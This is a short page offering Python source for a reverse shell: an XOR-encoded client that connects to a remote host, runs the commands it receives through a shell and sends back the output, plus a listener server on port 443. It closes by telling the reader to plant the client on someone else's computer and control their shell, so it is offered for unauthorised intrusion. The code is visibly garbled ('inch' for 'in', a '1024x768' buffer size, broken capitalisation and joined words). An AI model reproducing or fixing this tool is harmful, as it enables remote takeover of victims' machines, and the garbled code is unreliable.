Reverse shell (python)
ClientImportsocket, subprocess, sys
RHOST = sys.argv[1]
Rport = 443
s = socket.socket (socket.af_inet, socket. SOCK_STREAM)
S.connect ((RHOST, Rport))
whileTrue:
data = S.RECV (1024x768)
En_data = ByteArray (data)
for I inch Range (len (en_data)):
En_data[i] ^= 0x41
Comm = subprocess. Popen (str (en_data), Shell = True, stdout = subprocess. PIPE, stderr = subprocess. PIPE, stdin = subprocess. PIPE)
Comm.wait ()
STDOUT, STDERR = Comm.communicate ()
Print STDERR
en_stdout= ByteArray (STDOUT)
for I inch Range (len (en_stdout)):
En_stdout[i] ^= 0x41
S.send (en_stdout) s.close ()
Server:Importsocket
s = socket.socket (socket.af_inet, socket. SOCK_STREAM)
S.bind (("0.0.0.0",443))
S.listen (2048)
Print"Listening on port 443 ..."
(Client, (IP, port)) = S.accept ()
Print"recived connection from:", IP
whileTrue:
Command = Raw_input (' ~$ ')
encode = ByteArray (command)
for I inch Range (len (encode)):
Encode[i] ^= 0x41
Client.send (encode)
En_data = Client.recv (2048)
decode = ByteArray (en_data)
for I inch Range (len (decode)):
Decode[i] ^= 0x41
Print Decode
Client.close ()s.close ()
put the client part on someone's computer, run the server part of your computer, and you can reverse the other person's shell.
Reverse shell (python)